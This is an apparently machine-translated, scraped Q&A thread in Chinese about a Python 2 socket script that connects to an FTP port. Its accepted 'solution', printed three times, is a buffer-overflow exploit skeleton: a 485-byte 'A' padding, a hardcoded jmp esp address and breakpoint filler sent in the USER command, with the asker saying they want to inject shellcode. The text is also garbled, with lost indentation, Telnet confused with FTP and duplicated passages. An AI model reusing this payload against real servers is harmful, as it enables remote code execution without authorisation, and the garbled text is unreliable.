Python模拟输入键
我编写了一个简单的Python脚本,它应该使用用户名和密码连接到Telnet服务器 脚本如下:Python模拟输入键,python,telnet,Python,Telnet,我编写了一个简单的Python脚本,它应该使用用户名和密码连接到Telnet服务器 脚本如下: #!/usr/bin/python import sys import socket hostname = sys.argv[1] password = "whatever" username = "whatever" connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect.connect((
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
username = "whatever"
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response
connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
connect.close()
错误是:
连接正在工作,但我无法使用以下命令模拟enter键:
connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response
connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response
那为什么它不起作用呢?
谢谢:)
编辑解决方案:
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
jmpesp= "\xED\x1E\x94\x7C"
username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] Verbindungs Fehler"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response
connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response
connect.close()
Python包含一个telnet库:
telnetlib
你看过那个吗
这里还有一个如何使用它的示例:
解决方案代码为:
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
jmpesp= "\xED\x1E\x94\x7C"
username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] Verbindungs Fehler"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response
connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response
connect.close()
错误是一个实现错误,在代码执行之前停止程序。这些行执行了吗?您之前有一个
sys.exit(1)
,这将停止程序。请尝试删除“\r”。@DominicJarmann请将您的解决方案发布为您接受的单独答案,而不是编辑。问题是,我想用缓冲区溢出漏洞对脚本进行编码。由于这个原因,我不能使用这个图书馆。我就是不能用这个库注入外壳代码..没错。但是您可以看看lib的实现以及它们如何将\n发送到telnet服务器。我认为write函数可能很有用。你找到解决办法了吗?
#!/usr/bin/python
import sys
import socket
hostname = sys.argv[1]
password = "whatever"
jmpesp= "\xED\x1E\x94\x7C"
username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect.connect((hostname, 21))
except:
print "[-] Verbindungs Fehler"
response = connect.recv(2000)
print response
sys.exit(1)
connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response
connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response
connect.close()